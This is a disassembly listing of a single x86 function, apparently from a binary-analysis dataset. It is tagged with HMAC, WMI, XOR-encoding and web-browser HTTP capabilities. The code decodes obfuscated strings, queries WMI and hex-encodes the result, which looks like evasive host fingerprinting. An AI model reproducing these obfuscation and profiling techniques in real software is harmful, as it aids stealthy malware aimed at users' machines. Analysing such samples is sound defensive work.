Function at 0x436930
Capabilities:
Authenticate hmac
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov eax, dword [0x449d30]
mov dword [esp + 0x28], 0x55a7ab87
mov dword [esp + 0x2c], 0x51c357cf
mov dword [esp + 0x30], 0x5db153ce
mov dword [esp + 0x34], 0x59945fcb
mov dword [esp + 0x38], 0x45ad5bc8
mov dword [esp + 0x3c], 0x41ad47d8
mov dword [esp + 0x40], 0x4d4c436f
mov dword [esp + 0x44], 0
mov dword [esp + 0x18], 0
mov ecx, dword [esp + 0x18]
cmp ecx, 0x1f
ja 0x4369db
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
movzx edx, byte [esp + edx + 0x28]
add ecx, 0xa2b4657e
xor ecx, edx
mov dword [esp + 0x9c], ecx
mov ecx, dword [esp + 0x9c]
add cl, 0x2c
mov edx, dword [esp + 0x18]
mov byte [esp + edx + 0x28], cl
inc dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
cmp ecx, 0x20
jb 0x4369a0
lea ecx, [esp + 0x18]
lea edi, [esp + 0x9c]
lea ebx, [esp + 0x28]
push ecx
push 8
push edi
push 0xd
push ebx
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4474a8]
mov dword [esp + 0x9c], 0x3a0043
mov dword [esp + 0xa0], 0x5c
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x64], 0
lea eax, [esp + 0x64]
push eax
push 0x441a88
push 1
push 0
push 0x441a98
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4474b0]
mov dword [esp + 0x28], 0x23d13dca
mov dword [esp + 0x2c], 0x27d221d3
mov dword [esp + 0x30], 0x2bed25d8
mov dword [esp + 0x34], 0x2fe329e1
mov dword [esp + 0x38], 0xd3042dd6
mov word [esp + 0x3c], 0xd1d0
mov dword [esp + 0x3e], 0
mov byte [esp + 0x42], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x1a
ja 0x436af0
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x28]
lea edx, [eax + ecx]
add eax, 0xee
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x910968ee
mov dword [esp + 0x68], edx
mov eax, dword [esp + 0x68]
add al, 0x2e
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x1b
jb 0x436ab0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x60]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4474b8]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x7c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4474c0]
mov dword [esp + 0x28], 0xae7cac7c
mov dword [esp + 0x2c], 0xaaa9a87b
mov word [esp + 0x30], 0
mov byte [esp + 0x32], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0xa
ja 0x436bb3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x27b27447
xor eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0x1c
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0xb
jb 0x436b80
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x80], eax
mov dword [esp + 0x28], 0x1adc18c4
mov dword [esp + 0x2c], 0x1ed81cd7
mov dword [esp + 0x30], 0xe235e0dc
mov dword [esp + 0x34], 0xe60fe403
mov dword [esp + 0x38], 0xea2fe807
mov dword [esp + 0x3c], 0xee22ec39
mov dword [esp + 0x40], 0xf211f022
mov dword [esp + 0x44], 0xf65cf424
mov dword [esp + 0x48], 0xfa0af859
mov dword [esp + 0x4c], 0xfe22fc09
mov dword [esp + 0x50], 0xc208c03d
mov dword [esp + 0x54], 0xc616c40c
mov word [esp + 0x58], 0xc8c7
mov dword [esp + 0x5a], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 0x35
ja 0x436c83
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0x28]
add eax, 0x12f1df7
xor eax, ecx
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
add al, 0x20
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x28], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 0x36
jb 0x436c50
mov dword [esp + 0x98], esi
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x60]
mov ecx, dword [esi]
lea edx, [esp + 0x8c]
push edx
push 0
push 0x30
mov dword [esp + 0xa0], eax
push eax
push dword [esp + 0x90]
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4474c8]
mov dword [esp + 0x84], 0
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax]
lea edx, [esp + 0x84]
lea esi, [esp + 0x88]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x84], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
jmp dword [eax*4 + 0x4474d0]
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x88]
mov dword [esp + 0x28], 0x39a13bf1
mov dword [esp + 0x2c], 0x3da13fae
mov dword [esp + 0x30], 0x31ae339b
mov dword [esp + 0x34], 0x35bd3782
mov dword [esp + 0x38], 0x298c2ba7
mov dword [esp + 0x3c], 0x2db82fb3
mov dword [esp + 0x40], 0x232c
mov byte [esp + 0x44], 0
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
cmp ecx, 0x1c
ja 0x436dc2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0xc]
movzx edx, byte [esp + edx + 0x28]
lea esi, [ecx + edx]
add ecx, 0xbf
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0xdcbbcbbf
mov dword [esp + 4], esi
mov ecx, dword [esp + 4]
add cl, 5
mov edx, dword [esp + 0xc]
mov byte [esp + edx + 0x28], cl
inc dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
cmp ecx, 0x1d
jb 0x436d80
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x70]
push esi
push 0
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x68], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4474d8]
push dword [esp + 0x70]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x70]
mov dword [esp + 0x10], eax
lea ebx, [edx + eax*2]
movzx ecx, word [edx]
test cx, cx
mov dword [esp + 8], edx
je 0x436e49
xor esi, esi
mov eax, edx
jmp 0x436e23
add esi, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x436e4b
cmp eax, ebx
jae 0x436e4b
movzx edi, cx
cmp edi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp edi, 0x80
jb 0x436e15
mov edx, ecx
jmp 0x436e15
xor esi, esi
lea eax, [esi + 1]
mov dword [esp + 0x7c], eax
push eax
call fcn.00409630
add esp, 4
mov edi, eax
mov dword [esp + 0x14], eax
test esi, esi
mov eax, dword [esp + 8]
jle 0x436f2c
mov edi, dword [esp + 0x14]
cmp dword [esp + 0x10], 0
jle 0x436f2c
mov edi, dword [esp + 0x14]
lea ecx, [edi + esi]
mov dword [esp + 0x10], ecx
add dword [esp + 0x7c], edi
add eax, 2
mov dword [esp + 0x90], ebx
movzx edx, word [eax - 2]
test dx, dx
je 0x436f2c
mov dword [esp + 8], eax
cmp dx, 0x7f
ja 0x436eb5
mov byte [edi], dl
mov ebx, 1
jmp 0x436f10
mov eax, edi
not eax
add eax, dword [esp + 0x7c]
movzx ecx, dx
cmp eax, 2
jb 0x436ee6
cmp ecx, 0x7ff
ja 0x436ee6
mov eax, edx
shr eax, 6
add al, 0xc0
mov byte [edi], al
and dl, 0x3f
or dl, 0x80
mov byte [edi + 1], dl
mov ebx, 2
jmp 0x436f10
xor ebx, ebx
cmp eax, 3
jb 0x436f10
mov eax, ecx
shr eax, 0xc
or al, 0xe0
mov byte [edi], al
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [edi + 2], dl
mov ebx, 3
add edi, ebx
cmp edi, dword [esp + 0x10]
jae 0x436f2c
mov ecx, dword [esp + 8]
lea eax, [ecx + 2]
cmp ecx, dword [esp + 0x90]
jb 0x436e95
mov byte [edi], 0
mov eax, dword [case.0x436de7.4]
mov dword [esp + 0x10], eax
mov eax, dword [case.0x436de7.7]
mov dword [esp + 8], eax
add esi, 0xfffffffc
xor edi, edi
xor ebx, ebx
cmp edi, 4
setb bl
jmp dword [ebx*4 + 0x4474e0]
jmp dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov eax, dword [eax + edi*4]
mov dword [esp + edi*4 + 0x18], eax
jmp dword [esp + 8]
mov eax, edi
and eax, 0xfffffffb
mov ebx, edi
and ebx, 4
mov edx, edi
or edx, 4
imul edx, ebx
xor ebx, 4
imul ebx, eax
mov ecx, dword [esp + 0x14]
add edx, ecx
mov eax, dword [ebx + edx]
mov dword [esp + edi*4 + 0x18], eax
mov eax, dword [ecx + edi*4]
mov dword [esp + edi*4 + 0x18], eax
jmp dword [esp + 8]
xor ebx, ebx
sub esi, 4
setb bl
jmp dword [ebx*4 + 0x4474f8]
inc edi
xor ebx, ebx
cmp edi, 4
setb bl
jmp dword [ebx*4 + 0x4474e0]
mov esi, dword [esp + 0x14]
jmp dword [0x447500]
jmp dword [0x44750c]
push esi
call fcn.00409640
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00409640
add esp, 4
jmp dword [0x447514]
mov eax, dword [case.0x436de7.0]
lea edi, [esp + 0x9c]
lea ebx, [esp + 0x28]
lea esi, [esp + 0x68]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x88]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x80]
call esi
push dword [esp + 0x94]
call esi
mov esi, dword [esp + 0x98]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [ebp + 8]
mov dword [esp + 0x28], 0
push 0xefddb36b
push dword [0x449d28]
call fcn.0043da70
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447528]
mov eax, dword [esp + 0x28]
mov dword [esp + 0x18], eax
jmp dword [0x447538]
xor eax, eax
xor ecx, ecx
cmp eax, 4
setb cl
jmp dword [ecx*4 + 0x447540]
xor edx, edx
test eax, eax
setne dl
mov ecx, eax
jmp dword [edx*4 + 0x447548]
xor edx, edx
cmp dword [esp + eax*4 + 0x18], 0
sete dl
mov ecx, eax
jmp dword [edx*4 + 0x447550]
lea ecx, [eax - 1]
imul edx, dword [esp + ecx*4 + 0x18], 0x1a5845
lea ecx, [esi + 8]
add edx, 0xebde8a13
mov dword [esp + eax*4 + 0x18], edx
mov byte [esi + 8], 0
je 0x437170
mov esi, ecx
cmp edx, 0x100
jb 0x437180
mov edi, edx
nop
nop
nop
movzx ebx, dl
movzx ebx, word [ebx + ebx + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [esi - 2], bx
add esi, 0xfffffffe
shr edi, 8
cmp edx, 0xffff
mov edx, edi
ja 0x437130
cmp edi, 0xf
ja 0x437187
movzx edx, byte [edi + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi - 1], dl
dec esi
jmp 0x437196
mov byte [esi + 7], 0x30
add esi, 7
jmp 0x437196
mov edi, edx
cmp edi, 0xf
jbe 0x437154
movzx edx, word [edi + edi + str.000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF]
mov word [esi - 2], dx
add esi, 0xfffffffe
mov edx, 0xfffffff7
nop
nop
nop
nop
nop
cmp byte [esi + edx + 9], 0
lea edx, [edx + 1]
jne case.default.0x4371b4
xor ebx, ebx
cmp edx, 0
setne bl
xor edi, edi
jmp dword [ebx*4 + 0x447558]
mov byte [esi + edi - 1], 0x30
dec edi
xor ebx, ebx
cmp edx, edi
setne bl
jmp dword [ebx*4 + 0x447558]
inc eax
xor edx, edx
cmp eax, 4
setb dl
mov esi, ecx
jmp dword [edx*4 + 0x447540]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
int3
xor eax, eax
jmp 0x4374a8
mov esi, dword [esp + 0x40]
push 0x400
call fcn.0043a080
add esp, 4
mov ecx, dword [esp + 0x18]
mov ebp, eax
mov dword [esp + 8], 0x78797e7f
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x43728e
nop
nop
mov eax, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 8]
add eax, 0xb467992a
xor eax, edx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add al, 0xaa
mov edx, dword [esp]
mov byte [esp + edx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x437260
mov eax, dword [esp + 8]
mov edx, dword [0x449d34]
test edx, edx
je 0x4372e7
xor edi, edi
mov ebx, dword [0x449d38]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x77a9e0c4
je 0x4372c0
inc edi
cmp edx, edi
jne 0x4372b0
jmp 0x4372e7
mov edx, dword [ebx + edi*8 + 4]
cmp edx, eax
je 0x4372e7
lea eax, [esp + 0x20]
push 0x2f
push 0x400
push ebp
push eax
push ecx
push 5
push dword [0x449d3c]
push edx
call fcn.0043c4a0
add esp, 0x20
mov ecx, dword [case.0x436cbb.47]
nop
nop
nop
jmp ecx
not eax
shr eax, 0x1f
mov dword [esp + 0x14], 0
jmp dword [eax*4 + 0x447588]
push ebp
call fcn.0043a100
add esp, 4
mov eax, dword [esp + 0x18]
mov dword [esp + 8], 0x78797e7f
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 6
ja 0x437373
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 8]
add ecx, 0xb467992a
xor ecx, edx
mov dword [esp], ecx
mov ecx, dword [esp]
add cl, 0xaa
mov edx, dword [esp + 4]
mov byte [esp + edx + 8], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 7
jb 0x437340
mov ecx, dword [0x449d34]
test ecx, ecx
je 0x4374a2
mov edx, dword [esp + 8]
xor esi, esi
mov edi, dword [0x449d38]
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x437488
inc esi
cmp ecx, esi
jne 0x437390
jmp 0x4374a2
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], 0
cmp ecx, dword [ebp]
setb al
xor ebx, ebx
mov dword [esp + 0x1c], ebp
jmp dword [eax*4 + 0x447590]
lea ecx, [esp + 8]
call fcn.0043a550
inc ebx
xor eax, eax
mov ebp, dword [esp + 0x1c]
cmp ebx, dword [ebp]
setb al
jmp dword [eax*4 + 0x447590]
mov eax, dword [ebp + ebx*4 + 4]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
lea ecx, [esp + 8]
push 0
push eax
call fcn.0043a3c0
xor eax, eax
mov ecx, esi
neg ecx
mov edi, dword [esp + 0x44]
sbb eax, edi
setl al
movzx eax, al
mov ecx, eax
shl ecx, 0x14
shl eax, 0x15
not eax
add eax, ecx
lea edx, [eax*2 + 1]
lea ebp, [ecx + eax*2]
inc ebp
sub eax, edx
and eax, 0x72a00000
and ebp, 0x8d5e70bd
or ebp, eax
xor ebp, 0x8d5e70bc
lea ecx, [esp + 8]
push ebp
call fcn.0043a3e0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447598]
lea ecx, [esp + 8]
push edi
mov ebp, esi
push esi
push 0
call fcn.0043a630
test eax, eax
setns al
mov dword [esp + 0x14], eax
mov esi, ebp
jmp case.0x436cbb.52
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x4374a2
push eax
push 1
push dword [0x449d3c]
push ecx
call fcn.0043c4a0
add esp, 0x10
mov eax, dword [esp + 0x14]
and al, 1
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
jo 0x44750e
add dl, al
insb byte es:[edi], dx
inc ebx
add byte [esi], dh
jo 0x447516
add byte [edx], dl
insd dword es:[edi], dx
inc ebx
add byte [edx], ah
jo 0x44751e
add dh, ch
insd dword es:[edi], dx
inc ebx
add bh, cl
outsd dx, dword [esi]
inc ebx
add byte [eax + 0x6f], ah
inc ebx
add byte [edi + ebp*2 + 0x43], ah
add byte [eax - 0x7fffbc91], al
outsd dx, dword [esi]
inc ebx
add byte [eax - 0x40ffbc91], dh
outsd dx, dword [esi]
inc ebx
add bh, cl
outsd dx, dword [esi]
inc ebx
add cl, bl
outsd dx, dword [esi]
inc ebx
add bh, bh
outsd dx, dword [esi]
inc ebx
add bh, bl
outsd dx, dword [esi]
inc ebx
add al, dh
outsd dx, dword [esi]
inc ebx
add al, dh
outsd dx, dword [esi]
inc ebx
add bh, bh
outsd dx, dword [esi]
inc ebx
add byte [eax], ah
jo 0x44755e
add byte [eax], ah
jo 0x447562
inc ebx
add byte [eax], ah
jo 0x447566
add byte [edx], ah
jo 0x44756a
add dh, ah
jno 0x44756e
add al, al
jo 0x447572
add al, al
jo 0x447576
add al, al
jo 0x44757a
add dh, cl
jo 0x44757e
add al, al
jo 0x447582
add dh, ah
jno 0x447586
add al, ah
jo 0x44758a
add byte [esi], al
jno 0x44758e
add al, dh
jo 0x447592
add byte [esi], al
jno 0x447596
add byte [ebx], al
jno 0x44759a
add ah, dl
jno 0x44759e
add al, al
jno 0x4475a2
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dh, ch
add byte [eax], al
add dword [eax], eax
add byte [eax], al
out dx, al
jno 0x4475ae
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [0x24004372], bl
add byte [eax], al
sbb eax, 0x24004372
inc ebx
add byte [edx + esi*2], ah
jb 0x4475ba
inc ebx
add al, dh
jb 0x4475be
inc ebx
add al, dh
jb 0x4475c2
inc ebx
add al, dh
jb 0x4475c6
inc ebx
add dl, dh
jb 0x4475ca
inc ebx
add byte [esi], al
jae 0x4475ce
inc ebx
add byte [edi + 0x6004373], ah
inc ebx
add byte [esi], al
jae 0x4475d6
inc ebx
add ch, ch
jae 0x4475da
inc ebx
add al, dl
jae 0x4475de
inc ebx
add byte [ecx + 0x74], ch
inc ebx
add byte [edi + 0x39004387], ah
inc ebx
add byte [ecx], bh
jge 0x4475ea
add byte [ecx], bl
jge 0x4475ee
add byte [ecx], bh
jge 0x4475f2
inc ebx
add bh, ah
add byte [ebx], 0x17
mov dword [ebx], eax
pop es
test dword [ebx], eax
mov eax, dword [0xde00437c]
inc ebx
add byte [ecx - 0x21ffbc84], ah
inc ebx
add dh, bl
add byte [ebx], 0xa1
jl 0x44760a
inc ebx
add byte [ecx + 0x2700437c], ah
inc ebx
add byte [edi], ah
test dword [ebx], eax
mov dl, 0x7c
inc ebx
add byte [edx - 0x54ffbc84], dh
add dword [ebx], 0x45
inc ebx
add byte [ebx + 0x45004383], ch
xchg dword [ebx], eax
cwde
jg 0x44761e
inc ebx
add byte [eax + 0x3900437f], bl
inc ebx
add byte [ecx], bh
jle 0x447622
inc ebx
add byte [eax - 0x56ffbc81], bl
add byte [ebx], 0xea
jg 0x44762e
inc ebx
add byte [ebx], ah
add byte [ebx], 0xe4
inc ebx
add ah, ah
mov byte [ebx], al
ljmp 0x4388
inc ebx
add dl, ch
jg 0x44763a
add byte [edi], ah
mov byte [ebx], al
aas
add dword [ebx], 0x438827
sub dword [ecx - 0x7cfaffbd], eax
inc ebx
add ah, bh
jle 0x447652
add bl, dl
add dword [ebx], 0xfffffffd
add byte [ebx], 0xd3
add dword [ebx], 0x5f
add dword [ebx], 0x28
inc ebx
add byte [eax], ch
test byte [ebx], al
aaa
inc ebx
add byte [edi], dh
mov dword [ebx], eax
mov dl, 0x85
inc ebx
add byte [ebx + 0x7f], dh
inc ebx
add dl, al
add byte [ebx], 0x73
jg 0x44767a
add byte [edi - 0x78], ah
inc ebx
add cl, dh
add byte [ebx], 0x79
jge 0x447686
add byte [edi + 0x2800437e], al
jle 0x44768e
add byte [edi - 0x46ffbc82], al
jg 0x447696
inc ebx
add al, al
xchg dword [ebx], eax
push es
mov dword [ebx], eax
mov ecx, 0x8e00437f
add byte [ebx], 0x2e
add byte [ebx], 0x83
test dword [ebx], eax
bound eax, qword [ecx - 0x7a7cffbd]
inc ebx
add ah, ah
jge 0x4476ba
add byte [edi - 0x5fffbc83], ch
mov byte [ebx], al
scasd eax, dword es:[edi]
inc ebx
add byte [eax - 0x50ffbc78], ah
jge 0x4476c6
add byte [esi - 0x79], bh
inc ebx
add byte [edi + 0x5900437d], ch
mov dword [ebx], eax
test byte [ebp + 0x43], bh
add byte [ebx - 0x80], bh
inc ebx
add byte [ebp + edi*2 - 0x7f84ffbd], al
add byte [ebx], 0x8a
test byte [ebx], al
jnp 0x44761e
inc ebx
add byte [edx + 0x7b004384], cl
add byte [ebx], 0x8c
add dword [ebx], 0x4388f5
add edi, dword [esi + 0x43]
inc ebx
add byte [ecx + eax*4 - 0x770affbd], cl
inc ebx
add byte [ebx], al
jle 0x4476ee
add ch, dh
mov byte [ebx], al
mov word [ebx - 0x7a96ffbd], es
inc ebx
add byte [ecx - 0x6dffbc7c], ch
test dword [ebx], eax
and byte [edi + 0x7e5c0043], al
inc ebx
add byte [edx + 0x20004385], dl
xchg dword [ebx], eax
pop esp
jle 0x44770a
inc ebx
add byte [edi], dl
test byte [ebx], al
and byte [edi - 0x7809ffbd], al
inc ebx
add byte [edi + edi*2], bl
inc ebx
add al, cl
jle 0x44771e
add byte [eax], dl
add byte [ebx], 0xe6
test byte [ebx], al
hlt
inc ebx
add byte [edi], bh
jg 0x447736
add byte [edi], bh
add dword [ebx], 0x6a
xchg dword [ebx], eax
aas
jg 0x447742
add byte [eax + ecx*4 + 0x7ee80043], cl
inc ebx
add byte [ebx], bl
add dword [ebx], 0xfffffff1
inc ebx
add cl, dh
test byte [ebx], al
loop 0x447695
inc ebx
add byte [esp + eax*4 + 0x43], cl
add dl, ah
add dword [ebx], 0xffffffac
jle 0x447762
inc ebx
add byte [edi - 0x1fffbc60], al
mov al, byte [0xa0f70043]
inc ebx
add bh, ah
mov al, byte [0xa0e70043]
inc ebx
add bh, ah
mov al, byte [0xa0e70043]
inc ebx
add bh, ah
mov al, byte [0xa0e70043]
inc ebx
add bh, ah
mov al, byte [0xa0e70043]
inc ebx
add bh, ah
mov al, byte [0xa0f30043]
inc ebx
add bl, dh
mov al, byte [0xa0f30043]
inc ebx
add byte [edx - 0x65ffbc5f], bl
mov eax, dword [0xa19a0043]
inc ebx
add byte [eax], bl
mov eax, dword [0xa1720043]
inc ebx
add bl, dh
mov al, byte [0xa0f30043]
inc ebx
add bl, dh
mov al, byte [0xa19a0043]
inc ebx
add byte [edx - 0x65ffbc5f], bl
mov eax, dword [0xa1180043]
inc ebx
add byte [edx - 0x5f], dh
inc ebx
add byte [ebp - 0x5f], dh
inc ebx
add byte [edx - 0x78ffbc5f], bl
mov eax, dword [0xa1930043]
inc ebx
add byte [ebx - 0x6cffbc5f], dl
mov eax, dword [0xa1930043]
inc ebx
add byte [ebx - 0x6cffbc5f], dl
mov eax, dword [0xa1810043]
inc ebx
add byte [ebx + eax*8 - 0x3c5bffbd], ah
inc ebx
add byte [eax], dh
mov esp, 0xbc420043
inc ebx
add byte [esp + edi*4 + 0x43], dl
add byte [esi - 0x44], ah
inc ebx
add byte [eax - 0x44], bh
inc ebx
add byte [ecx - 0x3d], ch
inc ebx
add byte [edx - 0x3effbc44], cl
rol dword [ebx], 0xd3
rol dword [ebx], 0xee
ret 0x43